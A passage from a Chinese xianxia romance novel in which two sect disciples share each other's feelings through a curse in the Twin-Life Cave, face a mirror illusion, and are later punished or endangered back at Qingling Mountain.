又飞来一只灵蝶,这只与那只稍稍有些不同,周身闪着淡红色荧光,翩翩飞来绕着叶敬亭转了几圈,他伸出手指让灵蝶停在手上。
就在灵蝶停在手上的一瞬间,叶敬亭心中突如其来一阵恐惧,这份不属于他的恐惧。他从小到大都没有过这样的情绪。此时却真真切切的在他心中荡开。
叶敬亭收回手,祭出“寒冰”剑拿在手中,四面警惕,说来也奇怪,灵蝶一走那恐惧也随着消失了。
另一只蓝色灵蝶还停在阿乐肩膀上。
眼眸中闪过一丝疑虑,再次伸出手让红色灵蝶停住。
眼前出现一个黑漆漆的地方,往哪里望去都是一片墨汁般的黑暗,身上隐隐传来剧痛,周围只听得见水一滴接着一滴落在地上的声音。
那股恐惧在心中丝丝缠绕,还有绝望、害怕。
这不是自己的记忆,叶敬亭偏过头仔细辨认着,同样的呢喃:“阿乐不怕,阿爹阿娘一定会来救我的”。
叶敬亭不可置信的看向蜷缩在角落里的阿乐,这是阿乐的记忆。
这两只不同颜色的灵蝶居然可以让她们同感同受。
他能感受到阿乐,那同样她也能感受到他的。
“阿乐不怕,我在。”叶敬亭轻拍着阿乐肩膀,轻轻唤着。
就这样两人坐在拐角处,身上各停着一只灵蝶,过了半晌,阿乐才缓缓抬起头,在夜明珠淡淡光晕下,双眼微红眼角还挂着泪水:“刚才是你吗?”
叶敬亭伸了伸脚,因同一姿势坐了太久有些微麻。点点头,顿了顿又指指悬在一旁夜明珠道:“你看,有光了。”
大概是感受到了叶敬亭的平静如水,阿乐不似那般害怕,手紧紧拉住他袖口,擦了擦眼泪道:“嗯。”
阿乐心中冷静下来,原来在她五岁之时,身上的“浮生烬”能量引来一些妖魔族的人,那些人长相可怖,不知要把她带去何处。只记得在一个黑暗的地方呆了很久,那里只听得到水滴声,其他什么也看不见,她刚开始很害怕,总是哭,看守她的人嫌她烦,每哭一次便打一次。细细的鞭子抽在身上皮肉早就开了花,一疼哭得就更凶了。
好在她阿爹阿娘找到了那个地方,把那群人赶尽杀绝,这才救了她。她才知道那个地方不止她一个人,还有很多与她一样的混血儿小孩。
听着阿乐的故事,通过灵蝶,感受到她内心起伏。他从小跟随师尊在清灵山修行,旁人对他总是恭敬有加,还从未感受过这种滋味。
阿乐手里拽着叶敬亭衣袖,此时内心异常平静,两人便如此静坐着。
半晌,阿乐才放开衣袖,戳了戳叶敬亭道:“师兄,我们走吧。”
叶敬亭抚平被捏皱的衣袖,两只灵蝶互相嬉戏飞舞,却一直萦绕在两人周围。
“它们是不是想带我们走?”阿乐道。
叶敬亭观察片刻,确实有些奇怪,既不离去又在周遭飞舞,确实像要带路。
双蝶扑扇双翅,向着暗处飞去,夜明珠悬在阿乐前方,投下一方明亮,这路也没那么黑了。
两人随着双蝶走了半个时辰。不知是不是方才两人的同感同受,阿乐沾到叶敬亭的心境,现已适应了这里的黑暗,话也变得多了起来。
“师兄,这还要走多久啊?”阿乐问道。
叶敬亭在前方注意力都放在观察四处,警惕危险,并没有回话。
“师兄,你说这双蝶能够让两人同时感受到彼此,那要是我们捉回去卖给那些有误会之人,岂不就能明白对方心意?”
“——”
“师兄!你说这双蝶要是停留在两株花草上,它们是不是就能听懂彼此在说什么了?”
“——”
“师兄,你肚子饿不饿啊!我们好像有好几个时辰没有吃过饭啦。”
“——”
“师兄!师兄!——”
“————”
阿乐自顾自说了一路的话,也不顾叶敬亭有没有回应,只当他是听到了,心情终于开朗了许多。
“师兄,这个地方幽暗古怪,真的藏着你所说的宝物?不会就是这两只灵蝶吧!”
“——”
“可这才两只,拿回去根本不够分啊!”
“——
“这个我想到一个办法,要是灵蝶只有两只,那就反复使用就可以了,到时候让有需要之人按照轻重缓急排个序再——”
“嘘!——”叶敬亭终于说话了,却是让人别说话。
阿乐顿住嘴,
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把“怎么了”三个字咽下去。
因为她看到了“怎么了”的答案。
一群灵蝶,荧蓝色与荧红色混在一起满满当当沿着洞壁停满至洞顶,幽幽荧光忽闪着,整个山洞闪着荧光,诡秘又梦幻。
阿乐一时间看呆了,“师兄,那么多灵蝶,不愁不够分了!”
“——”
突然心口一阵绞痛,仿佛被什么猛击了一下,低头看自己并未受伤。转头再看叶敬亭半跪在地上正捂住胸口。
难道他们又同感同受了?
“师兄,你没事吧!”阿乐慌张查看,却也未发现有什么伤口。
真是奇怪。
紧接着身上传来剧痛,仿佛有什么鞭子正在抽打自己,骨头之间仿佛被千万只牙齿啃咬,雷击、雨淋各种痛感接踵而至,最重要的是心里没有一丝波动。
此时心里仿佛这世间已然没有能够让自己多看一眼的东西,身上明明背负着这世间所有的疼痛,可心里从未有一丝波浪,感觉有一股执念在心中牢牢扎根,却又看不明白那是什么,只是想着只要那人还在,就算是自己被活生生挫骨扬灰也不可惜。
阿乐跪坐在地,看着叶敬亭比自己更难受,心道:“师兄到底经历了什么?”
叶敬亭也很纳闷,这不是自己的经历,强忍着身上锥心之痛,豆大汗珠顺着额头滴下,半晌才勉强看向阿乐:“这是你的经历?”
阿乐一脸茫然,摇摇头。
痛感突然消失了,就如突然来时一样。
两人瘫在地上喘着粗气,刚才的痛楚到底是怎么回事?两人身上也未停有灵蝶,怎么会有一样的感觉?
“师兄,你看!”顺着阿乐手指看去,灵蝶“哗啦”一声散开,洞顶露出三个字“双生洞”。
“双生洞?”两人异口同声道。
灵蝶似乎听懂了两人疑问,在空中排列成文字,两人目不转盯看完这才明白,原来方才在看到这些满壁的灵蝶时就已经中了双生咒,这种咒语可以让两人互通感受,灵力越强感受到对方的情绪越强烈。
难怪阿乐感受到的没有叶敬亭多。
那这是叶敬亭的经历?两人同时看向对方,同时摇摇头。
灵蝶又在空中摆出一行字:“这是未来预言。”
“这是师兄未来会发生的事?”阿乐瞪圆双眼,难以想象他到底会因为什么事情要经历这些。
叶敬亭紧促眉头,脑海中也是同样的疑问,方才的感受很像是清灵山的处罚,自己到底要犯了什么错才会被师尊这样处罚?
就算是违反天规,也不过如此。
这些灵蝶只说是“预言”,那就表明,这些事情不一定会发生,只是未来会发生的一种可能性。
叶敬亭凝神屏息,让灵力在周身游走,定神片刻,内心又恢复往日的平静,阿乐也随之平稳下来。
既然是咒,那便一定有解开的方法。
两人四处查看洞里还有没有其他机关。
“师兄,你看这是什么?”阿乐在另一边喊道。
18. 双生洞
阿乐脚旁有一个小水潭,水清见底,有几条红色小鱼在里面欢游。水面上有两朵莲花盛开,一朵花蕊是红色,另一朵花蕊是蓝色。
叶敬亭仔细看这两朵花倒是与灵蝶有几分相似。
“难道这两朵莲花就是那宝物?”这花与普通见到的莲花并无差别,阿乐伸出手指捏了捏花瓣,正当手指触碰到瞬间,从水底“呼”的一声响,冒出一面镜子。
镜子越来越大,竟是上顶洞顶下入洞底,把两人分割在山洞两端,
“阿乐,你没事吧!”叶敬亭内心感到一阵恐慌,应该是阿乐此时的感受。
“师兄!师兄!”阿乐听不到叶敬亭的声音,只能看到镜子里手足无措的自己。
“师兄,师兄,你还在吗?”阿乐使劲拍打着镜子,手掌拍的通红也不见有回音。
这时,镜子里场景一转,出现了叶敬亭,却是被绑在一块石柱上,双眼空洞无神,面无表情。
阿乐看着镜子里的师兄,想来是被镜子囚禁在里面了,祭出“雪落”向镜面狠狠劈去,剑锋与镜面接触瞬间溅起火星,劈了一会,镜面还是如新一般。
不管试了多少种攻击,镜面都毫无反应。
阿乐累了,瘫坐在地上看着镜中的叶敬亭束手无策。
“嗖嗖”,镜面射出两道刀光,贴着阿乐面颊飞去,还好都被及时闪过。脸上有一丝温热之感,伸手擦了一下,抹下一丝血迹,这刀光是冲着自己来的啊!
接连几道刀光又急急袭来,都被一一挡过。
阿乐在这狭小的山洞间上下翻滚,须臾间,在休憩的功夫,瞟了一眼镜中人,却发现他半身衣服被血迹染红了。一恍惚,被一道刀光劈中,阿乐一声闷哼,再向镜子叶敬亭看去,他身上既然少了一处血迹。
阿乐身形怔住,是自己眼花吗?又是什么道理?
刀光密集向自己飞来,为了验证心中想法,这次阿乐没有躲闪,任凭刀光劈中,身上传来一阵刺痛,嘴角流下一行血迹。再向镜中人看去,他身上的血迹竟然全部消失。
刀光还在飞舞,阿乐忍住疼痛提起“雪落”又挡过几刀,叶敬亭身上便又多了些血痕。
阿乐看着镜子中的叶敬亭沉思半晌,缓缓闭上眼,嘴唇紧紧抿住,心中下了某种决心,握紧“雪落”的手慢慢松开,“叮当”一声响,“雪落”应声落下。
“嗖嗖嗖——”
一阵刀光闪过,阿乐不再躲闪,稳稳站在洞中央,不一会浑身便插满刀光,一股血气冲上胸口,丝丝血迹从嘴角流下,白衣瞬间被血迹染红。
刀光并没有停下,地上“雪落”感应到主人危险,剑锋在地上急得“铮铮”作响,扬起剑锋挡在阿乐面前,挡过了几道刀光。
镜子人又多了几道血迹。
“雪落,停下!”阿乐厉声道,这一开口又是一口鲜血喷出。
“雪落”在空中急的团团转,这挡也不是,不挡也不是,“雪落,停下。”
阿乐又一声呵斥,“雪落”这才不情不愿的立在身旁。
刀光已插满阿乐全身,再也找不到插刀的地方,这才停下。
阿乐单薄的身子被这刀光压得摇摇欲坠,浑身疼得提不起一丝气力,眼前被泪水模糊,“师兄,好疼啊!”
勉力抬眸看向镜中之人,翩翩公子一袭白袍,捆绑着他的石头已消失不见,他站在镜子里负手而战,满脸笑容看着自己。
阿乐想来,这从第一次见到叶敬亭都是一张冰块脸,极少见到这样的笑容。
“师兄,你得多笑笑,笑起来才好看。”
话音刚落,终于体力不支向前倒去。
没有倒地的冰凉,被一个柔软的怀抱接住,一个熟悉的声音在耳边轻唤,“阿乐!”
双面镜已消失,阿乐抬起头看着眼前同样浑身插满刀的叶敬亭,喃喃道:“你怎么也中刀了,不是我中了你就不用了吗?”
叶敬亭轻笑,与刚才镜中时一样好看。
“那是镜子的幻象。”
说罢两人身上的刀化作灵蝶散开,顿时身体一阵轻松,疼痛感也随之消失不见。
“这真是幻象。”阿乐不可置信的又仔细检查了一遍身体,毫发未损。又围着叶敬亭看了一圈,开心的欢呼“真是幻象!”
叶敬亭看着阿乐心中一阵欢喜,已然分不清这是“同生咒”的作用还是自己也是如此开心,他摊开手掌对着阿乐道:“看——”
“这就是这洞里的那个宝物吗?”
只见叶敬亭手掌中悬着两朵晶莹剔透的花朵,一朵通身闪着细碎蓝光,另一朵闪着红光。
“这两朵花也是可以让人同感同受?”阿乐沉思了一会又道:“那与这些灵蝶有什么区别?”
叶敬亭未回话,从乾坤袋中翻出一小鼎,另一手指捏诀,把两朵花放入鼎中又小心翼翼收好才道:“刚才摘花时,写着‘流转金丹’,既然是丹必然是需要炼化才行。”
阿乐听得云里雾里,这“流转金丹”又是什么意思?
正想开口细问,头顶传来一阵“咚咚咚”声响。
两人抬头望去,洞顶不知何时变成一片湖面,透过湖面竟然看到叶展云、叶鹤、叶子清以及其他外室弟子们正低头看着自己。
终于,在师兄们的指引两人从洞中出来了。
在洞中适应了黑暗,这才出来眼前一片明亮,刺得阿乐睁不开眼,一片阴影适时遮在眼前,这才得以睁开眼,骨节分明的修长手指映入眼帘,阿乐向着手掌主人看去,叶敬亭还是面无表情,却不再是冷漠,甚至在晚霞下显得更加好看,阿乐一时间心跳加快了几分。
叶鹤上前挡在两人之间对着叶敬亭低语道:“这里那么多人看着呢,有事回去商量。”
叶敬亭收回手掌,感受着加快的心跳,表面看去还是云淡风轻的摸样,随着叶鹤转身走开了。
叶之远满脸担心远远走来,凑上前关心道:“阿乐,你没事吧?有没有受伤?”
阿乐笑着摇摇头,偏头看向两人离去的背影,心道:“这人怎么一会好,一会坏的。”
这岛屿的时间似乎比外面的世界时间不同,慢了一倍。
明明两人在洞中已过了一天一夜了,出来外面才到傍晚。
几位师兄弟合计一番,看来这岛上藏有不少宝物。叶展云、叶子清这一队去到树林中,也发现有一些阵法,但都不难破解,捡到了一些珍贵药材,还有几只灵兽,可带回去养在后山。
在叶敬亭与阿乐沉入玄水后,叶鹤等人在水面上四处找进入水里的机关,几番研究,不知触碰到了哪里,既然可以看到玄水下的两人,只是看不真切,时隐时现,顺着两人的路径既然到了这岛的另一边,然后就与叶展云、叶子清碰上了。
最后是聚几人灵力相助才看到底下的两人满身插刀,这可急坏了师兄们,好在那些刀竟然都消失了,这悬着心才放下。
“敬亭,这同生咒不知有何危险,还是要尽快解开。”叶子清满脸担心,又检查了下他身体,发现并无伤痕这才放下心来。
“那个预
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言到底是什么意思?”叶展云道。
叶敬亭摇摇头,他也想不明白。
叶鹤望了望在人群中笑的前仰后翻的阿乐,又看了看小师弟嘴角微微上扬的嘴角,心中有些担心,提议道:“我们还是先回去让师尊定夺吧。”
众人表示赞同,收拾整顿一番便御剑向外五彩光聚集之处飞去。
清灵山修炼场,天空是亮了又暗。
叶修一稳稳坐在修炼场中央缓缓睁开眼,空中出现几条细线。
有弟子指着空中喊道:“他们——他们回来了。”
人群一阵欢呼。
转眼间,众人便稳稳停在场上。
目光扫过一圈,眼光停留在叶敬亭与阿乐之前,刚才他俩是御一把剑落下的。
“一切可安好?”叶修一关心道。
叶子清单独向叶修一说着这一趟经过,叶修一听到“预言”处,眉心紧促,不待叶子清说完,便摆摆手道:“其他人回去好好休息,你们俩随我前来。”
阿乐看着师尊指了指自己与叶敬亭,心感不妙。踏上“寒冰”站在叶敬亭身后抓牢衣袖,安慰自己有师兄在,没事的。
风在耳边呼呼而过,阿乐试探道:“师兄,咱俩不会有事吧?”
叶敬亭感受到阿乐忐忑不安,回眸道:“放心,有我。”
阿乐深吸一口气,安下心来。
清灵殿内。
叶修一站在殿台上,眼神在两人之间转来转去。
阿乐有些紧张,瞟了叶敬亭几眼,虽未得到回应,却感到心中慢慢平稳下来。
“同生咒,同感同受,确实是能让人心意相通啊。”
叶修一说的话,阿乐听不懂,以为只是在说这个咒可以让人同感同受。
“师尊,不止同生咒可以,还有这些灵蝶也可以。”说罢打开乾坤袋,“哗啦啦”从袋子里飞出几十只灵蝶。
未看到叶修一有动作,这些灵蝶在空中变成碎片随风落下,撒了一地。
阿乐一脸诧异,她不知道为何师尊要那么生气。
嘴角一撇,眼泪在眼眶中打转。
叶敬亭瞟了她一眼,心口一阵酸楚,往她身边移了半步又觉得不妥退回原位,毕恭毕敬对着叶修一道:“师尊,还请帮我们解咒。”
叶修一转过身去,半晌,只听到一声长叹,又转回身。
抬手在空中用灵力虚画了一个符咒,三人围坐一圈,叶修一身后冒起金光,把三人围成一圈,手中捏诀,口中念咒。
过了一炷香的时间,三人睁开眼,阿乐感觉身上有一股暖流顺着奇经八脉流过,其他并无什么变化。
“此咒有些复杂,还需些时日才能在你们体内完全消除。”
“谢谢师尊。”两人异口同声说道。
“阿乐,你先回去吧。对了,你阿娘来了密信。”说罢递给阿乐一个信封,外面还有封印。
接过信封,这个封印是她与阿娘约好的,只有她们娘俩才能解开。
迫不及待拆开信读了一遍,开心得手舞足蹈:“师兄,阿娘说她再过半月便能来接我。”
叶敬亭心中升起一阵喜悦,他知道现在她有多开心。
却没有看到师尊担心自己的眼神,阿乐蹦蹦跳跳转过身走了。
“敬亭——”
师尊的声音在耳边炸开,语调中带着些许威严。收起嘴角的笑容,此时他才意识到自己既然沉浸在那份愉悦中,感受着这份自己极少有过的情绪。
“师尊,敬亭在。”
19. 咒还未解
从清灵殿出来,夜风拂过面颊,心底升起一丝暖意,她应该是睡下了吧。
师尊的声音又在耳边回荡:“从明天起,不用参加修炼,每天到藏书阁抄《清灵规》,什么时候抄满一千遍什么时候再去修炼。”
叶敬亭自从在清灵山以来第一次被罚抄书。自己一直以来都是守律克己,从未犯过什么大错,小错都极少。他听得出来师尊今日言语间掺杂了很多怒气,却又没完全想明白根源是什么。
倒是想起这两日心中多了许多以前从未有过的体验,阿乐笑盈盈的脸庞还有泪眼婆娑满脸泪痕的样子又在脑海中浮现,眼眸中多了一丝温暖。
次日。
卯时钟声刚敲响,阿乐便早早坐在学堂,手里拿着一个布袋,里面鼓鼓囊囊。
瞪着眼睛盯着门口看,第一个进来的是子清师兄,有些失望。
又过了一会,鹤师兄打着哈欠也进来了,看到阿乐手中布袋想要看一眼,在两人拉扯期间,展云师兄也进来了,接连着师尊也到了。
“大家端坐好,开始上课。”
阿乐眨巴眨巴眼睛看了一眼第一排还空着的位置,道:“师尊,还有人没到呢!”
叶修一未回话,自顾自打开《天书最终卷》,开始讲解其中修炼要点。
阿乐以为师尊没听见还想再说,被扔来的一个纸团砸中,她回瞪了一眼,看到叶鹤正冲自己挤眉弄眼,看半天嘴型才看懂,原来叶敬亭在藏书阁。
这一天的课阿乐上得心不在焉,仔细感受着心中不一样的情绪,却什么也感受不到。
“师尊不是说‘同生咒’要过好几天才能消除吗?怎么完全感受不到他的情绪呢?”
“阿乐,在嘟囔什么呢?”叶鹤不知从哪里突然冒出来。
“鹤师兄,藏书阁在哪里呀?”阿乐满眼星光看向叶鹤。
叶鹤弹了一记脑门,道:“小师弟本就是被责罚才去抄书的,你去添什么乱?”
阿乐揉揉额头,委屈巴巴道:“那师兄犯了什么错,为何要被责罚?”
“对啊,师尊是有点古板了,这有什么好责罚的。”叶展云从两人身后冒出头。却遭到叶鹤一记白眼,那意思是在说:“他们不明白,你还能不明白吗?”
叶展云摊开手没有再继续说下去。
“展云师兄,那你带我去藏书阁好不好?”
“我——时间不早了,我还有其他事,先走了。”说罢,脚底抹油便跑了。
“哎——你们——”阿乐气嘟嘟的鼓着腮帮。
“好阿乐,你之前不是吵着想去后山看看那些灵兽仙草吗?明日休沐,我带你去。”叶鹤朝着她眨眨眼。
阿乐心中虽然还是很挂念叶敬亭,但一想到那些没见过的灵兽还是没忍住点点头,脸上又逐渐笑开来。
天已入夜,藏书阁内烛火闪烁,叶敬亭还在埋头抄书,叶修一站在楼阁外倍感欣慰。
然而叶敬亭并未发现这些,正专心致志的抄写着《清灵规》,他今天心底情绪变换,不知道阿乐在学堂又发生了什么事,手上抄书的速度加快许多。
他想快点抄完,便能快点回去了。
今日休沐,不用上课修炼,除了叶敬亭。
清灵山到处都是闲散的人。
阿乐与叶鹤约好在山脚见面。早就听闻后山很多仙兽仙草,阿乐拍拍腰间别的布袋,里面装满从双生洞里带出来的灵蝶,准备找个风景峻美的地方把它们放生。
“放心,灵蝶,绝对找个好地方给你们好好生活。”阿乐自言自语。
这里灵力充裕,清晨空气尤其清新,阿乐深吸一口气感受着届时美好,心情不错,优哉优哉哼起小曲。
“阿乐!”叶鹤声音传来,“这边”这是叶展云的声音。
阿乐循着声音看去,不止叶鹤叶展云两位师兄,还有一起去浮空岛的叶茜、叶丽、叶之远,以及其他几个面熟的师兄。
“阿乐——”叶之远挥着手,向阿乐奔来。
“阿乐你吃早点没?这个包子是徐大厨做的,特别好吃,你尝尝!”不待阿乐回话,便把包子递了过去。
阿乐其实不太喜欢吃包子,但盛情难却,还是接过咬了一口,汤汁在口中爆开惊喜道:“哇——好吃好吃。”
叶鹤清了清嗓子,有模有样道:“大家都是第一次来后山,这里因为有很多仙兽,平日里面是不让随意进出的。”
“里面也有猛兽,大家要随时小心,不要走散。”叶展云接着道。
现在这里就他们俩是师兄,相当于队长,必须要保证大家安全。
大家都沉浸在要入山的期待中,并没有人在意他俩说了什么。
“阿乐,敬亭师兄没有来吗?”叶丽脸颊微红有些不太好意思,悄悄问道,
“嗯,他被师尊罚去抄书了。”她也有两天没见到师兄了,可惜了,本来想约他一起去放灵蝶的。
叶丽面露担心本想再追问几句,见叶鹤走了过来便拉过叶茜跑到一边。
“阿乐,我们说的话你听到没啊!”敲了一记脑门,阿乐捂着额头愤愤道,“知道了。”
“其他人呢?”叶鹤大声喊道,语调严肃。
今日去后山的不止叶鹤这一队人,还有一队外室弟子,比较特殊的是这些弟子是神族里比较有威望的名门望族,平日里占着家里就一副趾高气昂的姿态,除了内室那几名师兄,其他人根本不放在眼里。
他不想在休息的日子里惹上不愉快。
“听到了,师兄。”众人齐声回道。
一群人叽叽喳喳向山里走去。
刚入山口并没有什么特别之处,再往里走了一个时辰,树木开始不一样了。苍天大树高耸入云,还有很多奇花异草惹得大家纷纷驻足。
“师兄,这些花可以带走吗?”阿乐看着眼前这朵花顿时来了兴趣,只见花瓣呈方形,只有四片花瓣,这花瓣是半透明状,远看仿佛一颗颗冰块坠在枝头。
阿乐心想这个花拿去送给敬亭师兄再合适不过了。
“这里的一花一木平日都是有人看护的,除非有急用,不然最好不要带走。”叶之远解释道。
阿乐收回手,想着那下次约师兄来看。想到叶敬亭的脸与这花面对面互相看着的画面一定很有趣。
“真假冰块之争。”不自觉脱口而出。
“你说什么?”叶之远不明所以。
阿乐摆摆手,自顾自笑着。
“前面,快就在前面。”
身后传来一阵骚动。阿乐向后退了半步,只见几道白影从眼前急急闪过。
踏过的地方一片狼藉,刚才的“冰块花”被踩入泥土中,混着渣滓早已面目全非。
看着陷在泥土中的残枝败花,阿乐心底冒起一股怒气,飞身便追了出去。
“阿乐——别追”叶鹤喊了几声,却早已看不见踪影。
树影向后“唰唰”快速略过,白影终于在一条溪流前停下来。阿乐这才看清是三个人,看打扮是清灵山弟子,但衣服材质又有些不同,看上去更华丽一些,袖口镶着金丝。
三人躲在一片灌木后盯着小溪对面
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。
顺着目光看去,对面有一只仙兽正在吃着溪边草,嚼一会便又吐出渣滓舔舐着后腿。
这只仙兽通体雪白,头顶金色鹿角,一道绿色华光萦绕在身后,一举一动极具优雅。
阿乐有些看呆了,那么美的仙兽真是第一次见。
“三哥,快!别让它跑了,寝室刚好缺一副鹿角。”
排头第一个白衣人祭出剑悬在身前,剑锋一闪准备出击。
“嗖——”一块石块先扔了出去,白鹿受到惊吓,一转眼便跑不见了。
“谁?谁把我仙鹿打跑了?”三人怒气冲冲顺着石头投出方向追去,阿乐看着三人不是善茬往旁边藏去不敢出声。
听着声音跑远了,才从灌木中露出半颗头。
刚抬步想去溪边查看,一把剑从天而降,直直横在眼前,“大哥,就是她,让仙鹿跑了。”
是刚才那三人,身后还跟着另外三人。
这些人看着点都很陌生,毕竟阿乐也才没来多久,互相不认识也情有可原。只是阿乐不知道这群人是神族名望家族,与其他师兄弟可不一样。
“各位师兄,这是清灵山地界,这些仙兽不能随意捕捉的。”阿乐振振有词,本来亦是如此。
没想到这几人根本不听,以为阿乐只是普通外室弟子,上前把她团团围住,剑锋直指她面门。
阿乐祭出“雪落”,把身前的剑一把扫开。几人愣住几秒,第一次有外室弟子敢对他们动手,面色一横道:“居然敢对我们动手?你知道我们是谁吗?”
“管你们是谁,这里是清灵山,就是不准捕猎。”阿乐剑往前一横,不甘示弱。
“上!”几人瞬间混斗在一起,战况焦灼。
六人对一人,要不是阿乐剑术不错还能周旋几招,恐怕早已被抓住。
这些人招招都下死手,阿乐慢慢不占上风,飞身想要逃走,可又怕自己走了,他们又去捉那仙兽,灵机一动指着他们身后道:“仙鹿!”
本是想借助这个空隙发送求救信号。
结果只有两人回了头,其他人并没有上当反而把她逼得更紧。
“看你还敢坏我好事!”他们称为“大哥”的人恶狠狠道:“捆起来,把她吊在这里。”
说罢已用捆仙绳把她五花大绑,选了一棵最高的树吊了上去。
嘴巴被封印,灵脉也被封住,这下求救也发不出信号。
眼睁睁看着六人往仙鹿消失的地方追去。
只剩下阿乐呆在半空,这树又密又多,放眼望去除了树还是树,叶鹤他们要几时才能找到自己。
也不知道这里还有多少仙兽,自己现在这个样子不正是准备好的食物吗?
一阵山风吹过,身上凉飕飕的,鼻子一酸眼泪顺着眼角滑落,早知道就不擅自行动了。
阿乐被吊得头昏脑涨,哭会睡会,再睁开眼天空已变成橘色,眼看太阳就要落下,心底一阵恐慌,若是天黑了,那岂不是更恐怖。
这时,远处传来几句声音,依稀辨认是叶鹤那几人,阿乐用力喊叫,喉咙却发不出一点声。
声音越来越近,不能错过这个机会。四周有很多树叶,阿乐奋力扭动着身体让自己荡了起来,绳子随着身体左右摇摆时引得周围树叶发出“簌簌”的声音。
一阵风吹来,山林里树叶都“哗哗”作响,瞬间淹没了这好不容易搞出来的动静。
没有人注意到这里。
阿乐没有放弃,还在左右摇晃着身体。
还是没有人过来,声音又渐渐远去。
20. 《清灵规》
“鹤师兄,展云师兄我在这里啊!”阿乐嘴皮都喊破了,没人发现她。
怎么办,怎么办,不会就一直这样挂在这里吧,肚子饿的咕咕叫,早知道早上那个包子再吃上两个。
树林暗了下来,草丛中时不时传来“窸窸窣窣”的声响。
阿乐不敢再动弹,“只要我假装自己是一棵树,就没人能发现我。”在心中安慰自己。
她现在又想被发现,又不想被发现。
这时,一阵鹿鸣呦呦在树林里回荡,阿乐警惕的盯着草丛中,一阵吵闹声,“大哥,那鹿在那边!”
是那群狩猎人的声音,紧接着又一阵声响:“你们是谁?”这声音是叶之远,阿乐一阵惊喜,那群狩猎人被发现了,太好了,仙鹿有救了。
“谁允许你们在这里狩猎的?”叶鹤师兄的声音传来,阿乐听到叶鹤的训斥,心底在呐喊,“对,师兄,狠狠教训他!那么美的仙鹿,就想着拿人家鹿角——”想到此处,阿乐气的牙痒痒。
好似双方起了些争执,但很快就只剩下叶鹤师兄的声音,听起来很生气。
过了一会,声音没有了,树林又恢复安静。
阿乐在树上急得蹬脚,“我呢!师兄,还有我在这儿啊!”
“不是吧,我要一个人在这里呆一晚上!”阿乐急得又眼泪鼻涕流一脸。
身后传来一阵“窸窸窣窣”声响,“好啦,吓你的!师兄来啦。”叶鹤声音在耳边响起。
阿乐扭着身体转过头看到叶鹤正趴在树干上,眼睛笑成了月牙,她嘴一撇泪眼汪汪看着他。
“吓到了?谁让你一个人乱跑。”
看到亲近的人,阿乐再也绷不住了,眼泪又止不住流。
叶鹤看到这个样子的阿乐,有些自责,连忙道:“别哭,别哭。我开玩笑的,你小心,我解开绳子了。”
被绑的太久了,绳子解开的一瞬间,阿乐身体从树上垂直落了下去。
阿乐尖叫着坠落,却没有声音,只有叶茜、叶丽的声音在喊叫。
“阿乐,小心。”叶之远最先发现阿乐没有灵力。
叶鹤才反应过来她被封住了灵脉,飞身追去已来不及。
叶展云、叶茜、叶丽都冲向阿乐。
阿乐吓得不敢睁开眼,最后没有想象中与泥土接触到的芬芳,睁开眼是叶之远接住了她。
一群人舒了一口气。
“你们——”叶鹤对着那六个人一顿责骂。阿乐解开封印,气得恨不得动手。
叶丽、叶茜一人一边拉住她:“阿乐,不能动用私刑——”
“你们放开我,是他们先私自狩猎的——”
六人这才知道这位姑奶奶是师尊的室内弟子,灰溜溜低着头站在树脚。
“我们不知道她是师妹——”还有人想辩解。
“都穿着一样的衣服,还在这清灵山,难道我是贼吗?啊?!”阿乐气得祭出“雪落”握在手中。
叶茜在一旁紧紧拉住,叶之远赶忙来抢她手里的剑。
树林一阵疾风吹过,阿乐心底升起一阵难过,很快被气愤掩盖,“别拉我,我们再比一次——看看谁绑谁!”
叶丽看向暗处,怔了一下,喃喃道:“敬亭师兄?”
叶展云顺着目光看去,哪有人?再说,师弟现在还被罚在藏书阁呢,怎么可能出现在这里。
“你看花眼了吧。”
另一边叶鹤正在大声道:你们几个禁足一个月,不准上课,不准修炼,就在寝室面壁思过!”。
阿乐这才收起剑。
藏书阁。
叶敬亭走进藏书阁,发现师尊早已站在书桌前,低头看着书桌。
烛光摇曳发出“噼里啪啦”的声音。
“师尊。”
叶修一一甩袖,目光扫视了叶敬亭一圈,又看向桌上摆满的纸张,随手抄起一张道:“血脉相淆者,天地共诛。”
“血脉相淆者,天地共诛。”叶修一盯着叶敬亭一个字一个字又重复了一遍,每个字读得极慢极重。
“这句话,你再抄一千遍,哪里都不许去。”说罢,便怒气冲冲的走了。
叶敬亭依旧面无表情,他低头看着自己亲手抄了一千遍的《清灵规》,他终于知道师尊让他抄这本书其实就是为了这句话。
血脉相淆者,天地共诛。
叶敬亭坐在书桌前,心里却乱成一团麻,刚才在树林里发生的一切在脑海里反复浮现。
不知道是在责备自己没能及时发现阿乐被绑在树上,还是在责备自己没能明白师尊罚他抄《清灵规》的原因。
他头埋得极低,几乎快埋进桌子里,手掌拽紧《清灵规》,自言自语道:“血脉相淆者,天地共诛。”
他极力控制让自己的声音不再颤抖。
心底又传来一阵熟悉的温暖,她应该是回去了吧。还好今天有惊无险,不知道她会不会又偷偷躲在树洞里哭。
应该不会了吧,现在她不再是一个人了。
再落下时,会有人接住她。再哭时,会有人安慰她。
抬起头摊开手掌,那张被捏的皱巴巴的纸缓缓展开,“血脉相淆者,天地共诛。”
叶敬亭低垂着眼,睫毛轻轻抖动,双唇紧闭,眼眶仿佛描了一圈红粉,喉结上下滚动。
罢了,大概是因为这“同生咒”,才让自己生出那么多情感,终究不是一路人,何必费神。
烛火不再跳跃,安分守己的立在灯槽里。
三日后,清灵殿。
叶敬亭把抄写好的《清灵规》整齐码好交给师尊。
“师尊,‘同生咒’已快解除,不用担心。”他知道师尊在担心什么,也明白自己现在应该要做什么。
叶修一满脸欣慰,摆摆手道:“去学堂吧。”
叶鹤是最先看到叶敬亭的,“再过两日便是中秋节,我跟展云约好去兰陵城赏灯喝酒,你要不要一起去?”
原来中秋节快到了,都说这人族的中秋节最热闹,各式小吃,各种各样的花灯都在这一天聚集,街道上人来人往,从各地赶来与家人团聚。从天黑一直庆祝到天明。
“不去。”叶敬亭本就不喜热闹,这几日不受“同生咒”影响才恢复的平静。
叶鹤耸耸肩,这也算是意料之内的事。
踏入学堂,余光瞟了一眼阿乐杵着下巴正在逗外面的小鸟,随即收回目光坐下。
“敬亭师兄!你回来啦!”阿乐从身后冒出头,手里抓着个布袋。
“嗯。”没有多余的表情,还是那副样子。
阿乐早已习惯他的清冷,拍了拍手里的布袋举到叶敬亭面前,神秘兮兮道:“师兄,你猜这个是什么?”
瞟了一眼布袋,道:“灵蝶。”
“啊!你怎么知道的,本来前几日我要在后山把它们放生的,又遇到点事就忘了。”阿乐自顾自道,完全没注意叶敬
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亭眼神已飘向别处。
